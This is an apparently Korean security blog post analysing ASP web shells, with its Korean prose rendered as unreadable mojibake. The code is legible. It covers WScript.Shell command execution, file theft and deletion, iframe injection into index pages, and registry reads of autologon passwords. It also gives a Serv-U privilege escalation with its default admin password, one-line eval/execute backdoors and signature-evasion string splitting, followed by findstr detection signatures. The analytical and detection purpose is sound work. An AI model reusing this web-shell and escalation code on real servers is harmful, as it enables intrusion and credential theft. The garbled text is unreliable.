¾È±Ô °øºÎ¹æ

security > ASP À¥½© »ó¼¼ ºÐ¼®

µî·ÏÀÏ : 2017-06-30 15:08 Á¶È¸¼ö : 64,113

ÃÖ±Ù ±¹³»¿¡¼­ ¹ß»ýÇÏ°í ÀÖ´Â ÇÇÇØ ½Ã½ºÅÛ À¥¼­¹ö ´ëºÎºÐÀº À©µµ¿ì°¡ Â÷ÁöÇÏ°í ÀÖ´Ù.
À©µµ¿ì, IIS, ASP ȯ°æÀÇ »çÀÌÆ®µéÀÌ Æ¯È÷ SQL Injection °ø°Ý¿¡ Ãë¾àÇÒ °æ¿ì ÀÌ·¯ÇÑ Ãë¾àÁ¡À» ÀÌ¿ëÇÏ´Â ÀÚµ¿È­ °ø°Ý µµ±¸µé·Î ÀÎÇØ ½±°Ô ¾Ç¼ºÄÚµå À¯Æ÷Áö, °æÀ¯Áö·Î ¾Ç¿ëµÇ°í ÀÖ´Ù. 
ÀÌ·¯ÇÑ À©µµ¿ì ÇÇÇؽýºÅÛÀ» °ø°ÝÇϴµ¥ ¸¹ÀÌ »ç¿ëµÇ´Â ASP À¥½©ÀÇ ±â´É°ú µ¿Çâ¿¡ ´ëÇØ »ó¼¼È÷ »ìÆ캸µµ·Ï ÇÏ°Ú´Ù.

°¡. °¢ ±â´Éº° À¥½© ºÐ¼®

¡á ¸í·É¾î ¹× °¢Á¾ ¾îÇø®ÄÉÀÌ¼Ç ½ÇÇà

ASP À¥½©¿¡¼­´Â À©µµ¿ì¿¡¼­ ½Ã½ºÅÛ ¸í·É¾î³ª ¿ÜºÎ ÇÁ·Î±×·¥À» ½ÇÇàÇϱâ À§ÇØ Wscript.Shell, Shell.Application ¿ÀºêÁ§Æ®¸¦ ÀÌ¿ëÇÑ´Ù.      
Wscript.Shell ¿ÀºêÁ§Æ®´Â ¸Þ¼Òµå Run, Exec¸¦ ÀÌ¿ëÇÏ¿© ½Ã½ºÅÛ ¸í·É¾î ¹× ¿ÜºÎ ÇÁ·Î±×·¥À» ½ÇÇàÇÒ ¼ö ÀÖ´Ù.       

 o Wscript.Shell
- Run (cmd, 0, True)
- Exec (cmd)
    
Set WshShell = Server.CreateObject (¡°WScript.Shell¡±)
Call WshShell.Run (cmd, 0, True)
Set WshShell = CreateObject (¡°WScript.Shell¡±)
Set oExec = WshShell.Exec (cmd)
½Ã½ºÅÛ ¸í·É¾î ¶Ç´Â ÇÁ·Î±×·¥À» ½ÇÇàÇÒ ¼ö ÀÖ´Â ¶Ç ´Ù¸¥ ¹æ¹ýÀº Shell.Application ¿ÀºêÁ§Æ®ÀÇ ShellExecute ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÏ´Â °ÍÀÌ´Ù.

  o Shell.Application
- Shellexecute¡° Application¡±,¡° Argument¡±,¡° Path¡±,¡° ¡±, 1

set objShell = CreateObject(¡°Shell.Application¡±)
objShell.ShellExecute ¡°notepad.exe¡±, ¡° ¡±, ¡° ¡±, ¡°open¡±, 1
¡á ÆÄÀÏ Á¶ÀÛ     

ÆÄÀÏ°ü·Ã Á¶ÀÛÀº Scripting.FileSystemObject, Shell.Application, Adodb.Stream ¿ÀºêÁ§Æ®¸¦ »ç¿ëÇÑ´Ù. 
ÀÌ Áß¿¡¼­ Scripting.FileSystemObject, Adodb.Stream À» ÀÌ¿ëÇÑ ÆÄÀÏ Á¶ÀÛ ¹æ¹ý¿¡ ´ëÇØ »ìÆ캸µµ·Ï ÇÏ°Ú´Ù.

 o Scripting.FileSystemObject
    - ÆÄÀÏ ¸®½ºÆÃ
Set fso = CreateObject(¡°Scripting.FileSystemObject¡±)
Set f = fso.GetFolder(folderpath)
Set fp = f.Files
For Each f1 in fp
	s = s & f1.name
Next
  - ÆÄÀÏ º¸±â   
Set f = fso.OpenTextFile(¡°c:\testfile.txt¡±)
ra = f.ReadAll
  - ÆÄÀÏ À̵¿ ¹× »èÁ¦
fso.CopyFile Path1, Path2
fso.CopyFolder Path1, Path2
fso.DeleteFile Path
fso.DeleteFolder Path
  - ÆÄÀÏ ´Ù¿î·Îµå (Adodb.Stream)
			
Set stream = Server.CreateObject¡±Adodb.Stream¡±)
stream.Open
stream.Type = 1
stream.LoadFromFile(Path)
Response.AddHeader ¡°Content-Disposition¡±, ¡°attachment; filename=¡± & FileName
Response.AddHeader ¡°Content-Length¡±, stream.Size
Response.Charset = ¡°UTF-8¡± 
Response.ContentType = ¡°application/octet-stream¡±
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing
  - ÆÄÀÏ ¾÷·Îµå
¡Ø ±¸Çö ¿¹Á¦ ÄÚµå »ý·«
				
o Adodb.Stream

- Write
- Read
- SaveToFile
  - À¥ÆäÀÌÁöµé¿¡ ¾Ç¼º½ºÅ©¸³Æ® »ðÀÔ ±â´É              
   À¥½©¿¡¼­´Â ¾Ç¼ºÄڵ带 À¯Æ÷Çϱâ À§ÇØ °¢ html ÆÄÀϵéÀ̳ª ½ºÅ©¸³Æ® ÆÄÀÏ¿¡ ¾Ç¼º ½ºÅ©¸³Æ® (iframe)¸¦ »ðÀÔÇÏ´Â ±â´ÉÀÌ ÀÖ´Ù.  

     o Á¤±ÔÇ¥Çö½ÄÀ¸·Î ¾Æ·¡¿Í °°ÀÌ ¾Ç¼º½ºÅ©¸³Æ®¸¦ »ðÀÔÇÒ ÆÄÀϸíÀ» Á¤ÀÇÇÑ´Ù.      
    default, index main µî ȨÆäÀÌÁö ¸ÞÀÎÆäÀÌÁö À̸§À» °®´Â html ÆÄÀϵéÀ̳ª ½ºÅ©¸³Æ® ÆÄÀϵéÀ» Á¤±ÔÇ¥Çö ½ÄÀ¸·Î ã´Â´Ù.     
    
    - (\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b  
        
    o ±×¸®°í ¾Æ·¡¿Í °°Àº iframe ¾Ç¼º ½ºÅ©¸³Æ® Äڵ带 »ðÀÔÇÑ´Ù.          
    - Á¤±Ô Ç¥Çö½ÄÀ¸·Î ÆÄÀÏÀ̸§À» °Ë»çÇÏ¿© ¸ÞÀÎ ÆäÀÌÁö¸¦ ã´Â´Ù.        
Set regEx=New RegExp
regEx.Pattern=¡±(¡¬¡¬|¡¬/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)¡¬b¡±
regEx.IgnoreCase=True
retVal=regEx.Test(path)
         
    - À§ Á¤±Ô Ç¥Çö½ÄÀ¸·Î °Ë»öµÈ ÆÄÀÏÀÇ ³¡¿¡ iframe Äڵ带 »ðÀÔÇÑ´Ù.          
Set fs=Server.createObject(“Scripting.FileSystemObject”)
Set f=fs.GetFile(path)
Set f_addcode=f.OpenAsTextStream(8,-2) // Æ÷ÀÎÅÍ´Â ÆÄÀÏ ³¡À¸·Î À̵¿ÇÏ°í ¾²±â ¸ðµå·Î ¿¬´Ù
f_addcode.Write “”
f_addcode.Close
    - µ¥ÀÌÅͺ£À̽º ¿­¶÷ ¹× Á¶ÀÛ     
    
    µ¥ÀÌÅͺ£À̽º¿¡ Á¢¼ÓÇϱâ À§Çؼ­´Â Adodb.Connection ¿ÀºêÁ§Æ®¸¦ »ç¿ëÇÏ°í ¾Æ·¡¿Í °°Àº ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÏ¿© µ¥ÀÌÅͺ£À̽º ¿¬°á ¹× SQL Äõ¸® ¹®µéÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Ù.
Set Con = Server.CreateObject(¡°Adodb.Connection¡±)
Con.Open ¡°Provider=SQLOLEDB;Data Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD¡±
SQL = ¡°SELECT * FROM table¡±
Set RS = Con.Execute(SQL)
    - ·¹Áö½ºÆ®¸® Á¶ÀÛ     
    À©µµ¿ì´Â ¸ðµç ½Ã½ºÅÛ ±¸¼º Á¤º¸³ª »ç¿ëÀÚ ¼³Á¤ Á¤º¸¸¦ ·¹Áö½ºÆ®¸®¿¡ ÀúÀåÇÑ´Ù.      
    À¥½©¿¡¼­´Â ¾Æ·¡¿Í °°Àº Wscript.Shell ¿ÀºêÁ§Æ®¿Í °ü·Ã ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÏ¿© ·¹Áö½ºÆ®¸® È®ÀÎ ¹× Á¶ÀÛ ÇÑ´Ù.     

¡Ø ±¸Çö ¿¹Á¦ ÄÚµå »ý·«        
 o Wscript.Shell   
 - RegRead     
- RegWrite     
- RegDelete          

À¥½©¿¡¼­ ÂüÁ¶ÇÏ´Â ·¹Áö½ºÆ®¸® °ªµéÀº ¾Æ·¡¿Í °°´Ù.   

 
			- Å͹̳Π¼­ºñ½º Æ÷Æ®, PortNumber Å° °ª º¯°æ
			HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
			- À©µµ¿ì ÀÚµ¿À¸·Î ·Î±×ÀÎ Å° °ª(autoadminlogon)ÀÌ ¼³Á¤µÇ¾î ÀÖ´Â °æ¿ì µðÆúÆ® »ç¿ëÀÚ À̸§ (DefaultUserName)°ú Æнº¿öµå(DefaultPassword)¸¦ È®ÀÎ
			HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
			- ÄÄÇ»ÅÍ À̸§ È®ÀÎ
			HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName
			
			- ÀÍ¸í »ç¿ëÀÚ Á¢¼Ó ¿©ºÎ ¹× °øÀ¯ Á¤º¸ È®ÀÎ
			HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
			HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer
			HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha
			redNetDrives
			
			- º¸¾È ÇÊÅ͸µ ¹× Æ÷¿öµù ¿©ºÎ È®ÀÎ
			HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters
			HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter
			
			- ³×Æ®¿öÅ© Ä«µå Á¤º¸ È®ÀÎHKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128
			
			-8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway
			
			HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count				
			HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind

			¡á ½Ã½ºÅÛ Á¤º¸ È®ÀÎ
			À¥½©¿¡¼­ GetObject ¸Þ¼Òµå¸¦ ÀÌ¿ëÇØ ¼­ºñ½º¿Í »ç¿ëÀÚ À庸¸¦ È®ÀÎ ÇÑ´Ù.
			
			o ¼­ºñ½º È®ÀÎ
			
			Set ComputerObj = GetObject(“WinNT://MYCOMPUTER”)
			ComputerObj.Filter = Array(“Service”)
			For Each Service in ComputerObj
			WScript.Echo “Service display name = “ & Service.DisplayName
			WScript.Echo “Service account name = “ & Service.ServiceAccountName
			WScript.Echo “Service executable = “ & Service.Path
			WScript.Echo “Current status = “ & Service.Status
			Next
			
			o »ç¿ëÀÚ Á¤º¸È®ÀÎ
			
			Set objComputer = GetObject(“WinNT://.”)
			objComputer.Filter = Array(“User”)
			For Each objUser in objComputer
			WScript.Echo objUser.Name
			Next
			¡á ¾îÇø®ÄÉÀÌ¼Ç Ãë¾àÁ¡À» ÅëÇÑ ·ÎÄà ±ÇÇÑ»ó½Â
			À¥¿¡¼­ ½ÇÇàµÇ´Â ¸ðµç ÆÄÀϵéÀº ±âº»ÀûÀ¸·Î ÀÎÅÍ³Ý °Ô½ºÆ® °èÁ¤À¸·Î À¸·Î ½ÇÇàµÈ´Ù. À¥½©Àº ÀÌ·¯ÇÑ Á¦ÇÑµÈ ±ÇÇÑÀ» °ü¸®ÀÚ ±ÇÇÑÀ¸·Î »ó½Â½ÃÅ°±â À§ÇØ Ãë¾àÁ¡ ÀÖ´Â
			Serv-U ÇÁ·Î±×·¥À» ÀÌ¿ëÇÑ´Ù.
			
			Serv-U 3.x ~ 5.x´Â ·ÎÄà ±ÇÇÑ »ó½Â Ãë¾àÁ¡ÀÌ ÀÖÀ¸¸ç À̸¦ ÀÌ¿ëÇÏ¿© »õ·Î¿î °ü¸®ÀÚ °èÁ¤À» »ý¼ºÇÒ ¼ö ÀÖ´Ù. Ãë¾àÁ¡À» °ø°ÝÇÏ´Â °úÁ¤Àº ¾Æ·¡¿Í °°´Ù.
			
			o Serv-U 3.x ~ 5.x ¹öÀüÀÇ ServUDaemon.exe ´Ù¿î·Îµå ¹× ½ÇÇà (TzoLibr.dll ÇÊ¿ä)				
			o Serv-U µðÆúÆ® ¾ÆÀÌÇÇ/Æ÷Æ®(127.0.0.1/43958) ·Î Á¢¼Ó ÈÄ
			o Serv-U µðÆúÆ® °ü¸® ¾ÆÀ̵ð/Æнº¿öµå·Î ·Î±×ÀÎ
			- USER LocalAdministrator (µðÆúÆ® ¾ÆÀ̵ð)
			- PASS #l@$ak#.lk;0@P (µðÆúÆ® Æнº¿öµå)
			o Serv-U¿¡ ½Å±Ô µµ¸ÞÀÎ »ý¼º
			o Serv-U ¸í·É¾î ½ÇÇà¿¡ ÇÊ¿äÇÑ Serv-U »ç¿ëÀÚ Ãß°¡
			o “SITE EXEC“ Serv-U ³»ºÎ ½ºÅ©¸³Æ®¸¦ ÅëÇÑ ½Ã½ºÅÛ ¸í·É¾î ¼öÇà
			set a=Server.CreateObject(“Microsoft.XMLHTTP”)
			a.open “GET”, “http://127.0.0.1:” & port & “/goldsun/upadmin/s1”,True, “”, “”
			a.send loginuser & loginpass & “SITE MAINTENANCE” & deldomain & newdomain &
			newuser & quit
			set session(“a”)=a
			set b=Server.CreateObject(“Microsoft.XMLHTTP”)
			b.open “GET”, “http://127.0.0.1:” & ftpport & “/goldsun/upadmin/s2”, True, “”, “”
			b.send “User go” & vbCrLf & “pass od” & vbCrLf & “SITE EXEC “ & cmd & vbCrLf & quit
			set session(“b”)=b
				
		³ª. ½ºÅ©¸³Æ® ÀÎÄÚµù
			¸¶ÀÌÅ©·Î¼ÒÇÁÆ®ÞäÀÇ À©µµ¿ì ½ºÅ©¸³Æ®´Â Script Encoder¸¦ Á¦°øÇÏ¿© ÀÏ¹Ý »ç¿ëÀÚµéÀÌ ½ºÅ©¸³Æ® ³»¿ëÀ» È®ÀÎÇÏ´Â°Ô ½±Áö ¾Êµµ·Ï ÇÏ°í ÀÖ´Ù. 
			ÇÏÁö¸¸ À¥½©À» ¾÷·ÎµåÇÑ °ø°ÝÀÚ°¡ ÀÌ·¯ÇÑ ±â´ÉÀ» ¾Ç¿ëÇÏ¿© °ü¸®ÀÚ°¡ À¥½©À» ½±°Ô ãÁö ¸øÇϵµ·Ï ¹é½ÅŽÁö¸¦ ¿ìȸ Çϴµ¥ ÀÌ¿ëÇÏ°í ÀÖ´Ù.
			
			http://msdn2.microsoft.com/en-us/library/cbfz3598(VS.85).aspx
			
			Script Encoder´Â Äָܼðµå¿¡¼­ ¸í·É¾î ¶óÀÎÀ¸·Î ½ÇÇàµÇ¸ç ´ÙÀ½°ú °°ÀÌ »ç¿ëÇÑ´Ù.
			SCRENC [switches] inputfile outputfile
			
			ÀÏ¹Ý asp ½ºÅ©¸³Æ®¸¦ ÀÎÄÚµù ÇÏ¸é ¾Æ·¡¿Í °°Àº °á°ú°¡ µÈ´Ù.
			
			ÀÏ¹Ý ¼Ò½º
			

			ÀÎÄÚµù ¼Ò½º
			<%@ LANGUAGE = VBScript.Encode %>
			
			
		´Ù.ªÀº À¥½© 
			ASP À¥½© Áß eval, execute ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÏ¿© °ø°ÝÀڷκÎÅÍ À¥½© Äڵ带 Àü´Þ ¹Þ¾Æ ½ÇÇàÇϴ ªÀº ¼Ò½º ÄÚµåµéÀÌ ÀÖ´Ù. 
			ÀÌ°°ÀÌ ÂªÀº ¼Ò½ºÄڵ尡 Á¤»óÀûÀÎ ¼Ò½º¿¡ »ðÀÔµÇ¾î ½ÇÇàµÇ´Â °æ¿ìµµ ÀÖÀ¸¹Ç·Î °ü¸®ÀÚµéÀÇ °¢º°ÇÑ ÁÖÀÇ°¡ ÇÊ¿äÇÏ´Ù.
			
			- eval (expression) : eval ÇÔ¼ö´Â expressionÀ¸·Î Á¤ÀÇµÈ Äڵ带 Æò°¡ÇÏ¿© °á°ú(True, False)¸¦ ¾Ë·ÁÁØ´Ù.
			- execute (expression) : execute ÇÔ¼ö´Â expressionÀ¸·Î Á¤ÀÇµÈ Äڵ带 ½ÇÇàÇÏ¿© °á°ú¸¦ ¾Ë·ÁÁØ´Ù.
			eval, execute ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÑ À¥½© ±¸µ¿ ¹æ¹ýÀº ¾Æ·¡ °³¿äµµÃ³·³, ¸ÕÀú °ø°ÝÀÚ´Â ÇÇÇؽýºÅÛ¿¡ À¥½© Äڵ带 º¸³»´Â html Æû(2006_lite.asp.html)À» ÁغñÇÏ°í 
			±× Æû¿¡ À¥½© Äڵ带 ³Ö¾î ÇÇÇØ ½Ã½ºÅÛ À¥½©(server.asp)¿¡ Àü¼ÛÇÑ´Ù. ÇÇÇؽýºÅÛ¿¡¼­´Â À¥½© Äڵ带 Àü´Þ ¹Þ¾Æ execute, eval ¸Þ¼Òµå·Î ½ÇÇàÇÏ°í execute ¸Þ¼Òµå´Â 
			°á°ú¸¦ °ø°ÝÀÚ¿¡°Ô Àü´ÞÇØ ÁØ´Ù. (eval ¸Þ¼Òµå´Â Äڵ带 ½ÇÇàÇÏ°í °á°ú¿¡ ´ëÇÑ True, False ¸¸À» ¾Ë·ÁÁֹǷΠÀûÀýÇÑ °á°ú¸¦ °ø°ÝÀÚ¿¡°Ô ¾Ë·ÁÁÖÁö´Â ¸øÇÑ´Ù)
			
			 
			[±×¸²] execute, eval Äڵ带 ÀÌ¿ëÇÑ À¥½© ½ÇÇà ¹æ¹ý
			
			¡á eval ÄÚµå
			´ÙÀ½Àº ÇÇÇؽýºÅÛ¿¡¼­ ¹ß°ßµÈ eval ÄÚµå À¯ÇüÀÌ¸ç ¾Æ·¡¿Í °°ÀÌ ÇÑ ÁÙ, ªÀº ÄÚµå·Î ÀÌ·ç¾îÁø´Ù.
			
			- <%eval request(“l”)%>
			- <%eval(request(“#”))%>

			¡á execute ÄÚµå
			´ÙÀ½Àº ÇÇÇؽýºÅÛ¿¡¼­ ¹ß°ßµÈ execute ÄÚµå À¯ÇüÀÌ´Ù.
			
			- <%execute request(“l”)%>
			- <%If Request(“#”)<>”” Then Execute(Request(“#”))%>

			¡á execute ¼¼¼Ç À¯Áö ¿ë ÄÚµå
			execute ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÑ ÂªÀº ÄÚµåÀÇ °æ¿ì °ø°ÝÀÚ°¡ ½ÇÇàÇϱ⠿øÇÏ´Â Äڵ带 À§ °³¿äµµ ±×¸²Ã³·³ ¸Å¹ø Àü¼ÛÇØÁÖ¾î¾ß ÇÏ´Â ¹ø°Å·Î¿òÀÌ ÀÖ´Ù. 
			±×·¡¼­ °ø°ÝÀÚµéÀº Çѹø ³Ñ°ÜÁØ Äڵ带 ½ÇÇàÇÑ °á°ú¸¦ ¼¼¼ÇÀ¸·Î ¿¬°áÇÏ¿© ´ÙÀ½¿¡´Â Äڵ带 ³Ñ°ÜÁÙ ÇÊ¿ä ¾øÀÌ ½ÇÇà °á°ú¿¡¼­ ´ÙÀ½ ¸Þ´º·Î ³Ñ¾î°¥ ¼ö ÀÖµµ·Ï ÇÏ¿´´Ù.
			
			
				
		¶ó. ±âŸ

			¡á ¹®ÀÚ¿­ ºÐ¸®¸¦ ÀÌ¿ëÇÑ Å½Áö ¿ìȸ ±â´É
			ÃÖ±Ù ¹ÙÀÌ·¯½º ¹é½ÅÀ̳ª ¼­¹ö °ü¸®ÀÚµéÀÌ À¥½© ½Ã±×´ÏÃĸ¦ ÅëÇØ À¥½© ŽÁö°¡ ¸¹¾ÆÁöÀÚ °ø°ÝÀÚ µéÀº ½Ã±×´ÏÃÄ·Î ÀÌ¿ëµÇ´Â ¹®ÀÚ¿­(¿ÀºêÁ§Æ® ¸í)µéÀ» ºÐ»ê½ÃÄÑ Å½Áö¸¦ 
			¿ìȸÇÏ°í ÀÖ´Ù.
		
			- Shell.Application
			¹®ÀÚ¿­À» ¿¬°áÇÏ´Â & ¿¬»êÀÚ¸¦ ÀÌ¿ëÇÏ°í °ªÀÌ ÁÖ¾îÁöÁö ¾ÊÀº º¯¼ö x¸¦ ÀÌ¿ëÇØ ¾Æ·¡¿Í °°ÀÌ Shell.Application ¹®ÀÚ¿­À» ºÐ¸®ÇÑ´Ù.
			
			Set sa = Server.CreateObject“( She”&x&”ll.Appl”&x&”ication”)
			“She”&x&”ll.Appl”&x&”ication”=>“ Shell.Application”
			- WScript.Shell
			Set ws = Server.CreateObject“( WScr”&x&”ipt.Shell”)
			
			¡á ÆÄÀÏ »ý¼º À¥½©

			Scripting.FileSystemObject ¿ÀºêÁ§Æ®¸¦ ÀÌ¿ëÇÏ¿© »õ·Î¿î ÆÄÀÏÀ» »ý¼ºÇÏ´Â ±â´ÉÀ» ¾Õ¼­ »ìÆì º¸¾Ò´Ù. ÃÖ±Ù Á¤»óÀûÀÎ ½ºÅ©¸³Æ®µé¿¡¼­µµ »ç¿ëÇÏ´Â 
			CreateTextFile, Write ¸Þ¼Òµå¸¦ ÀÌ¿ëÇÏ¿© ´ÜÁö ÆÄÀϸ¸ »ý¼ºÇÏ´Â À¥½©µéÀÌ Áõ°¡ÇÏ°í ÀÖ´Ù. ÀÌ·¯ÇÑ À¥½©Àº Á¤»óÀûÀÎ ½ºÅ©¸³Æ®¿¡¼­ »ç¿ëÇÏ´Â ¿ÀºêÁ§Æ®¿Í 
			¸Þ¼Òµå¸¦ »ç¿ëÇϹǷΠŽÁöÇϱⰡ ½±Áö ¾Ê´Ù. 
			¶ÇÇÑ ÀÌ·¯ÇÑ À¥½©µéÀº ¾Õ¼­ ¼³¸íÇÑ ´Ù¾çÇÑ ±â´ÉÀ» °¡Áö´Â À¥½©À» ¾ó¸¶µçÁö »ý¼ºÇÒ ¼ö°¡ ÀÖ¾î °ü¸®ÀÚµéÀÇ ÁÖÀÇ°¡ ÇÊ¿äÇÏ´Ù.
			
			 
			[±×¸²] ÆÄÀÏ »ý¼º À¥½© È­¸é
				
	3. ŽÁö ¹æ¾È

		°¡. À¥½© ½Ã±×´ÏÃĸ¦ ÀÌ¿ëÇÑ ÆÄÀÏ °Ë»ö

			¡á ½Ã±×´ÏÃÄ

			À¥½©Àº ½Ã½ºÅÛ ¸í·É¾î¸¦ ¼öÇàÇϰųª ÆÄÀÏÀ» Á¶ÀÛÇϱâ À§ÇØ °ü·ÃµÈ ¿ÀºêÁ§Æ®, Wscript.Shell, Shell.Application µîÀ» ÁÖ·Î »ç¿ëÇÏ°Ô µÈ´Ù. 
			ÇÏÁö¸¸ ÀÌ·¯ÇÑ ¿ÀºêÁ§Æ®´Â Á¤»óÀûÀÎ ½ºÅ©¸³Æ® Äڵ忡¼­´Â »ç¿ëÇÏÁö ¾Ê´Â °Íµé·Î À¥½© ŽÁö¸¦ À§ÇÑ ½Ã±×´ÏÃÄ·Î ÁöÁ¤ÇÏ¿© À¥½©À» ŽÁöÇϴµ¥ ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. 
			ÀÌ·¸°Ô ½Ã±×´ÏÃÄ·Î ÁöÁ¤ÇÒ ¸¸ÇÑ ¹®ÀÚ¿­µéÀ» ã¾Æº» °á°ú ´ÙÀ½°ú °°¾Ò´Ù.
			
			- Wscript.Shell, Shell.Application °ú °°Àº ½Ã½ºÅÛ¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Â ¿ÀºêÁ§Æ®³ª ¸Þ¼Òµå
			- ÀÎÄÚµùµÈ ÆÄÀÏ¿¡ »ðÀÔµÈ Çì´õ ¹®ÀÚ¿­ VBScript.Encode
			- Áß±¹¾î °£Ã¼ gb2312
			- ½Ã½ºÅÛ ¸í·É¿¡ ÇÊ¿äÇÑ ¹®ÀÚ¿­ cmd.exe
			- Á¤»óÀûÀÎ ½ºÅ©¸³Æ®¿¡¼­ ÈçÈ÷ »ç¿ëµÇÁö ¾Ê´Â eval, execute ÇÔ¼ö µî
				
			¡á findstr ¸í·É¾î¸¦ È°¿ëÇÑ Å½Áö ¹æ¹ý

			findstr À̶ó´Â ¸í·É¾î´Â ÁöÁ¤µÈ ÆÄÀϵ鿡¼­ ã°íÀÚ Çϴ ƯÁ¤ ¹®ÀÚ¿­µéÀ» °Ë»öÇÒ ¼ö ÀÖµµ·Ï µµ¿ÍÁØ´Ù. À§¿¡¼­ Á¤ÀÇµÈ ½Ã±×´ÏÃĵéÀ» ÆÄÀÏ(asp.sig)·Î 
			ÁöÁ¤ÇÏ°í »çÀÌÆ® Ȩ µð·ºÅ͸®¿¡¼­ ¾Æ ·¡ÀÇ ¿¹Ã³·³ ½ÇÇàÇØ º¸±â ¹Ù¶õ´Ù.
			findstr /i /r /s /g:asp.sig *.asp
			- i : ´ë¼Ò¹®ÀÚ ±¸ºÐ¾øÀÌ °Ë»ö
			- g : ÁöÁ¤µÈ ÆÄÀÏ¿¡¼­ °Ë»ö ¹®ÀÚ¿­À» ¹ÞÀ½
			- r : Á¤±Ô Ç¥Çö½Ä »ç¿ë
			- s : ¸ðµç ÇÏÀ§µð·ºÅ͸® °Ë»ö
			
			¡Ø ÃÖ±Ù °ø°ÝÀÚµéÀÌ À¥½© È®ÀåÀÚ¸¦ .cer, .asa, cdx, hta·Î º¯°æÇÏ¿© ÆÄÀÏÀ» ¾÷·Îµå ÇÏ´Â °æ¿ì°¡ ÀÖ´Ù.(ÆÄÀÏ ¾÷·Îµå ¿ìȸ °ø°Ý) ¹Ýµå½Ã °Ë»ç È®ÀåÀÚ¸¦ asp 
			»Ó¸¸ ¾Æ´Ï¶ó ½ºÅ©¸³Æ®·Î ½ÇÇàµÇµµ·Ï ÁöÁ¤µÈ .asa, .cer µîµµ ¹Ýµå½Ã ÇÔ²² °Ë»ö Çϵµ·Ï ÇØ¾ß ÇÑ´Ù.
			
			 
			[±×¸²] °Ë»ç´ë»ó È®Àå¸í
		




        
[±×¸²] °Ë»ç´ë»ó È®Àå¸í
        
4. °á·Ð
°ü¸®ÇÏ´Â ¼­¹ö¿¡¼­ À¥½©ÀÌ Å½ÁöµÇ¾ú´Ù¸é ½Ã½ºÅÛ¿¡ À¥½©À» »ý¼ºÇÒ ¼ö ÀÖ¾ú´ø Ãë¾àÁ¡ÀÌ Á¸Àç ÇÒ °Í ÀÌ´Ù. 
À¥½©ÀÌ ¾÷·Îµå µÈ ÇÇÇؽýºÅÛÀ» ºÐ¼®ÇÑ °á°ú ´ëºÎºÐ ÆÄÀÏ ¾÷·Îµå, SQL Injection°ú °°Àº ¾îÇø®ÄÉÀÌ¼Ç Ãë¾àÁ¡À¸·Î À¥½©ÀÌ »ý¼ºµÇ´Â °ÍÀ¸·Î È®ÀεǾú´Ù. 
À¥½©À» ŽÁöÇؼ­ Á¦°ÅÇÏ´Â °Íµµ Áß¿äÇÏÁö¸¸ À¥½©À» »ý¼ºÇÒ ¼ö ÀÖ¾ú´ø ±Ùº»ÀûÀÎ Ãë¾àÁ¡À» ã¾Æ³»¾î ÆÐÄ¡ÇÏ´Â °Íµµ °ü¸®ÀÚµéÀÌ ²À~! ÀØÁö ¾Ê°í ÇØ¾ß µÉ ÀÛ¾÷ÀÏ °ÍÀÌ´Ù.
¾Õ¼­ ŽÁö ¹æ¹ý¿¡¼­ Á¦°øÇÑ ½Ã±×´ÏÃĵéÀº ¿ÀŽÀÌ ¹ß»ýÇÒ ¼ö ÀÖÀ¸¹Ç·Î ¹Ýµå½Ã ÀÌ º¸°í¼­¿¡¼­ ¼³¸íÇÑ ±â´ÉÀ» °®´Â À¥½©ÀÎÁö È®ÀÎ ÈÄ »èÁ¦ÇØ¾ß ÇÑ´Ù.

 
¡Ø Ȥ½Ã µµ¿òÀÌ µÇ¼Ì´Ù¸é ´ñ±Û¿¡ ÇѸ¶µð ³²°ÜÁÖ¼¼¿ä!
ÀÛ¼ºÀÚ   ºñ¹Ð¹øÈ£
ÀÚµ¿±Û ¹æÁö     (ÀÚµ¿±Û ¹æÁö ±â´ÉÀÔ´Ï´Ù.)
³»¿ë   ´ñ±Û´Þ±â 
À̸ÞÀÏ ¹®ÀÇ : cak0280@nate.com  
Copyright 2000 By ENTERSOFT.KR All Rights Reserved.